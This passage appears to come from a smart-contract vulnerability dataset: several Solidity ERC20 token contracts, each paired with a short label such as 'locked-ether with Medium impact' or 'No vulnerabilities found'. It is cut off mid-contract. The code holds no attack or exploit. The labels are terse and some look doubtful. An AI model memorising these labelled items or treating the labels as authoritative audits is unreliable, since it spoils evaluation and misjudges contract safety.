// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CyborgDoge() public {
symbol = "CYDOGE";
name = "CyborgDoge";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[0xCb58392d8844b3aEbfE44956B090A05Bf2A4Ea89] = _totalSupply;
Transfer(address(0), 0xCb58392d8844b3aEbfE44956B090A05Bf2A4Ea89, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
/**
* @dev Overrides ERC20._burn in order for burn and burnFrom to emit
* an additional Burn event.
*/
function _burn(address who, uint256 value) internal {
super._burn(who, value);
}
}
contract DarexTravel is ERC20, ERC20Detailed, ERC20Burnable {
using SafeERC20 for ERC20;
constructor(
string name,
string symbol,
uint8 decimals
)
ERC20Burnable()
ERC20Detailed(name, symbol, decimals)
ERC20()
public
{
_mint(0x22e8380ffcc62a0b079911a5c653a54d9dfb0eed, 100000000000 * (10 ** uint256(decimals)));
}
} | No vulnerabilities found |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.6.12;
contract Love {
/**
*狗贼我爱你
**/
} | No vulnerabilities found |
pragma solidity ^0.5.16;
// Math operations with safety checks that throw on error
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Math error");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Math error");
return a - b;
}
}
// Abstract contract for the full ERC 20 Token standard
contract ERC20 {
function balanceOf(address _address) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// Token contract
contract Snoopy is ERC20 {
string public name = "Snoopy";
string public symbol = "Snoopy";
uint8 public decimals = 18;
uint256 public totalSupply = 10000000000000 * 10**18;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
address public owner;
bytes4 private constant TRANSFER = bytes4(
keccak256(bytes("transfer(address,uint256)"))
);
constructor(address _owner) public {
owner = _owner;
balances[msg.sender] = totalSupply;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balances[_address];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0), "Zero address error");
require(balances[msg.sender] >= _value && _value > 0, "Insufficient balance or zero amount");
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(_spender != address(0), "Zero address error");
require((allowed[msg.sender][_spender] == 0) || (_amount == 0), "Approve amount error");
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_from != address(0) && _to != address(0), "Zero address error");
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0, "Insufficient balance or zero amount");
balances[_from] = SafeMath.sub(balances[_from], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
modifier onlyOwner {
require(msg.sender == owner, "You are not owner");
_;
}
function setOwner(address _owner) public onlyOwner returns (bool success) {
require(_owner != address(0), "zero address");
owner = _owner;
success = true;
}
function fetch(ERC20 _erc20Address) public onlyOwner returns (bool success2) {
uint256 _value = _erc20Address.balanceOf(address(this));
(bool success, ) = address(_erc20Address).call(
abi.encodeWithSelector(TRANSFER, msg.sender, _value)
);
if(!success) {
revert("transfer fail");
}
success2 = true;
}
} | No vulnerabilities found |
pragma solidity ^0.6.0;
/* Seed again.
Let's moon for the long term!
*/
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/
library ABDKMath64x64 {
/**
* Minimum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;
/**
* Maximum value signed 64.64-bit fixed point number may have.
*/
int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Calculate x + y. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function add (int128 x, int128 y) internal pure returns (int128) {
int256 result = int256(x) + y;
require (result >= MIN_64x64 && result <= MAX_64x64);
return int128 (result);
}
/**
* Calculate x * y rounding down, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64 fixed point number
* @param y unsigned 256-bit integer number
* @return unsigned 256-bit integer number
*/
function mulu (int128 x, uint256 y) internal pure returns (uint256) {
if (y == 0) return 0;
require (x >= 0);
uint256 lo = (uint256 (x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;
uint256 hi = uint256 (x) * (y >> 128);
require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
hi <<= 64;
require (hi <=
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);
return hi + lo;
}
/**
* Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number
* and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x signed 64.64-bit fixed point number
* @param y uint256 value
* @return signed 64.64-bit fixed point number
*/
function pow (int128 x, uint256 y) internal pure returns (int128) {
uint256 absoluteResult;
bool negativeResult = false;
if (x >= 0) {
absoluteResult = powu (uint256 (x) << 63, y);
} else {
// We rely on overflow behavior here
absoluteResult = powu (uint256 (uint128 (-x)) << 63, y);
negativeResult = y & 1 > 0;
}
absoluteResult >>= 63;
if (negativeResult) {
require (absoluteResult <= 0x80000000000000000000000000000000);
return -int128 (absoluteResult); // We rely on overflow behavior here
} else {
require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
return int128 (absoluteResult); // We rely on overflow behavior here
}
}
function fromUInt (uint256 x) internal pure returns (int128) {
require (x <= 0x7FFFFFFFFFFFFFFF);
return int128 (x << 64);
}
/**
* Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point
* number and y is unsigned 256-bit integer number. Revert on overflow.
*
* @param x unsigned 129.127-bit fixed point number
* @param y uint256 value
* @return unsigned 129.127-bit fixed point number
*/
function powu (uint256 x, uint256 y) private pure returns (uint256) {
if (y == 0) return 0x80000000000000000000000000000000;
else if (x == 0) return 0;
else {
int256 msb = 0;
uint256 xc = x;
if (xc >= 0x100000000000000000000000000000000) { xc >>= 128; msb += 128; }
if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }
if (xc >= 0x100000000) { xc >>= 32; msb += 32; }
if (xc >= 0x10000) { xc >>= 16; msb += 16; }
if (xc >= 0x100) { xc >>= 8; msb += 8; }
if (xc >= 0x10) { xc >>= 4; msb += 4; }
if (xc >= 0x4) { xc >>= 2; msb += 2; }
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 xe = msb - 127;
if (xe > 0) x >>= xe;
else x <<= -xe;
uint256 result = 0x80000000000000000000000000000000;
int256 re = 0;
while (y > 0) {
if (y & 1 > 0) {
result = result * x;
y -= 1;
re += xe;
if (result >=
0x8000000000000000000000000000000000000000000000000000000000000000) {
result >>= 128;
re += 1;
} else result >>= 127;
if (re < -127) return 0; // Underflow
require (re < 128); // Overflow
} else {
x = x * x;
y >>= 1;
xe <<= 1;
if (x >=
0x8000000000000000000000000000000000000000000000000000000000000000) {
x >>= 128;
xe += 1;
} else x >>= 127;
if (xe < -127) return 0; // Underflow
require (xe < 128); // Overflow
}
}
if (re > 0) result <<= re;
else if (re < 0) result >>= -re;
return result;
}
}
}
// File: node_modules\openzeppelin-solidity\contracts\GSN\Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: node_modules\openzeppelin-solidity\contracts\token\ERC20\IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: node_modules\openzeppelin-solidity\contracts\utils\Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts\FLOW.sol
pragma solidity ^0.6.2;
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
